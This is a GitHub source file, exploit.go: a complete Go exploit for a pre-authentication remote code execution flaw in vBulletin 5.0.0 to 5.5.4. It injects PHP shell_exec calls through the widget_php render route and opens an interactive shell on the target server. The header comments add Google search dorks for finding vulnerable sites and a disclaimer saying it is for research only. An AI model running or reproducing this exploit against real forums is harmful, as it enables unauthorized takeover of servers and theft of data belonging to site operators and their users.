-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.go
104 lines (87 loc) · 2.19 KB
/
exploit.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// @author Basebandit
//
//
// vBulletin 5.x 0day pre-auth RCE exploit
//
// This should work on all versions from 5.0.0 till 5.5.4
//
// Google Dorks:
// - site:*.vbulletin.net
// - "Powered by vBulletin Version 5.5.4"
//
// This exploit is to be used for research/learning purposes ONLY
// Furthermore, the author Basebandit neither endorses nor is responsible
// for the accuracy,reliability and use of any piece of the code.
//
//
package main
import (
"bufio"
"context"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"os/signal"
"strconv"
"strings"
"syscall"
"time"
)
func main() {
if len(os.Args) != 2 {
fmt.Println(fmt.Sprintf("Usage: %s <URL to vBulletin>", os.Args[0]))
os.Exit(1)
}
params := url.Values{"routestring": {"ajax/render/widget_php"}}
client := &http.Client{
Timeout: time.Second * 30,
}
c := make(chan os.Signal, 1)
signal.Notify(c, syscall.SIGINT, syscall.SIGTERM)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
go func() {
for range c {
fmt.Println(fmt.Sprintf("%s", "closing shell..."))
os.Exit(0)
}
_, cancel := context.WithTimeout(ctx, 5*time.Second)
defer cancel()
}()
for {
reader := bufio.NewReader(os.Stdin)
fmt.Print("vBulletin$ ")
cmd, err := reader.ReadString('\n')
if err != nil {
fmt.Println(fmt.Sprintf("Error reading command %v", err.Error()))
os.Exit(1)
}
params.Set("widgetConfig[code]", "echo shell_exec('"+cmd+"'); exit;")
req, err := http.NewRequest("POST", os.Args[1], strings.NewReader(params.Encode()))
if err != nil {
fmt.Println(fmt.Sprintf("failed to post request: %v", err))
os.Exit(1)
}
req.Header.Add("Content-type", "application/x-www-form-urlencoded")
req.Header.Add("Content-length", strconv.Itoa(len(params.Encode())))
resp, err := client.Do(req)
if err != nil {
fmt.Println(fmt.Sprintf("failed to send request: %v", err))
os.Exit(1)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(fmt.Sprintf("failed to read response body: %v", err))
os.Exit(1)
}
if resp.StatusCode == 200 {
fmt.Println(string(body))
} else {
fmt.Println(fmt.Sprintf("%s", "Exploit failed! :("))
os.Exit(1)
}
}
}